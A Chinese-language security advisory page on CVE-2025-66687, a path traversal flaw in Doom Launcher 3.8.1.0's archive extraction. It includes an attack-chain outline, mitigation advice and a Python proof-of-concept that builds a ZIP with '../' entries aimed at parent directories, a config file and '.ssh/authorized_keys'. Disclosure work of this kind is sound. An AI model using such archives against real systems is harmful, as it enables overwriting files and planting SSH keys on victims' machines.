IPBUF安全漏洞报告
English
CVE-2025-66687 CVSS 7.5 高危

CVE-2025-66687 Doom Launcher目录遍历漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2025-66687
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Doom Launcher

相关标签

目录遍历路径遍历文件解压漏洞Doom Launcher高危漏洞CVE-2025-66687任意文件写入信息泄露

漏洞概述

CVE-2025-66687是Doom Launcher 3.8.1.0版本中存在的一个高危安全漏洞。该漏洞属于目录遍历(Directory Traversal)类型,源于程序在解压游戏文件时缺少对文件路径的充分验证。攻击者可以利用此漏洞通过构造恶意压缩包文件,在目标系统上写入或读取任意文件,从而可能导致敏感信息泄露、配置文件被篡改或系统被进一步入侵。由于该漏洞的CVSS评分达到7.5,且攻击复杂度低、无需认证即可利用,因此对使用受影响版本Doom Launcher的用户构成严重安全威胁。攻击者可通过诱使受害者打开特制的ZIP或压缩文件来触发漏洞。

技术细节

Doom Launcher 3.8.1.0在处理游戏文件解压时存在路径遍历漏洞。漏洞的根本原因是在提取压缩包内文件时,程序直接使用压缩包中文件名的路径,而没有对路径进行安全验证或规范化。具体来说,当压缩包中包含带有路径遍历序列(如../)的文件名时,程序会将文件解压到预期目录之外的位置。攻击者可以构造一个包含类似'../../../etc/passwd'或'../config.ini'的恶意文件,在解压时覆盖系统关键文件或应用程序配置文件。由于漏洞发生在文件解压阶段,攻击者可以实现任意文件写入或覆盖,从而可能导致远程代码执行(RCE)、敏感数据泄露或应用程序配置被篡改。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意路径遍历文件名的压缩包,利用'../'序列在文件名中跳出目标解压目录
STEP 2
步骤2
攻击者将恶意压缩包伪装成游戏文件(.wad、.pk3等)或通过社工手段诱使受害者下载
STEP 3
步骤3
受害者在Doom Launcher 3.8.1.0中打开或导入该恶意压缩包
STEP 4
步骤4
Doom Launcher在解压文件时,由于缺少路径验证,恶意文件被写入到系统任意位置
STEP 5
步骤5
攻击者通过覆盖系统文件、配置文件或SSH密钥等,实现敏感信息窃取、权限提升或远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66687 PoC - Doom Launcher Directory Traversal This PoC generates a malicious ZIP file that exploits the path traversal vulnerability during game file extraction in Doom Launcher 3.8.1.0 """ import zipfile import os import sys def create_malicious_zip(output_path): """ Create a malicious ZIP file with path traversal payloads """ # Path traversal payload to write file outside target directory malicious_filenames = [ "../../../test.txt", # Basic traversal to write in parent directories "../config_backup.ini", # Overwrite config in parent directory "../../../.ssh/authorized_keys", # Attempt to write SSH keys (if .ssh exists) "startup.txt" # Normal file in target directory ] malicious_content = b"This file was created via CVE-2025-66687 Directory Traversal exploit" with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zipf: for filename in malicious_filenames: zipf.writestr(filename, malicious_content) print(f"[+] Added malicious entry: {filename}") print(f"[+] Malicious ZIP file created: {output_path}") print("[*] When extracted by vulnerable Doom Launcher, files will be written outside target directory") def verify_zip_content(zip_path): """Verify the contents of the created ZIP file""" print("\n[*] ZIP file contents:") with zipfile.ZipFile(zip_path, 'r') as zipf: for info in zipf.infolist(): print(f" - {info.filename}") if __name__ == "__main__": if len(sys.argv) > 1: output_file = sys.argv[1] else: output_file = "exploit_cve_2025_66687.zip" create_malicious_zip(output_file) verify_zip_content(output_file)

影响范围

Doom Launcher 3.8.1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议用户避免打开来源不明的压缩包或游戏文件,不要从非官方渠道下载Doom Launcher或游戏资源。对于必须处理的文件,建议先在隔离环境中检查压缩包内容,确认无异常路径遍历文件名后再使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表